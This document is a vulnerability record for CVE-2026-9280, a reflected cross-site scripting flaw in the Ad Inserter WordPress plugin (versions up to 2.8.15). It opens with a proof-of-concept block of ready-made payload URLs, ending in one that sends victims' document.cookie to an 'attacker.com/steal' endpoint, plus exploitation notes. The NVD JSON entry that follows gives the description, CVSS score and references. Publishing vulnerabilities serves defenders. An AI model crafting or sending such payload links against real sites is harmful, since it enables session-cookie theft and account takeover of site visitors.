CVE-2026-9280

<!-- CVE-2026-9280 PoC - Reflected XSS in Ad Inserter iframe Mode --> <!-- Basic XSS PoC --> https://target-site.com/?page_id=X&ai_etag=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E <!-- Event Handler Based XSS --> https://target-site.com/?page_id=X&ai_etag=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E <!-- Steal Session Cookie --> https://target-site.com/?page_id=X&ai_etag=%22%3E%3Cscript%3Edocument.location='https://attacker.com/steal?c='+document.cookie%3C/script%3E <!-- Key Points: 1. Target page must have iframe mode enabled for at least one ad block 2. Replace 'page_id=X' with valid page parameter 3. URL encode special characters as needed 4. Requires user interaction (clicking the link) -->

{"cve": {"id": "CVE-2026-9280", "sourceIdentifier": "[email protected]", "published": "2026-06-06T04:17:41.947", "lastModified": "2026-06-08T14:57:14.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL Parameters in iframe Mode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires that iframe mode (AI_OPTION_IFRAME) is enabled on at least one ad block displayed on the targeted page, which is a non-default but supported configuration commonly used for AdSense and JavaScript-based ads."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.11/class.php#L3460", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.11/class.php#L3462", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.11/class.php#L3470", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.15/class.php#L3460", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.15/class.php#L3462", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.15/class.php#L3470", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3552607%40ad-inserter&new=3552607%40ad-inserter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d40c05d-dc30-47b1-aea5-cd2b72d4c4c0?source=cve", "source": "[email protected]"}]}}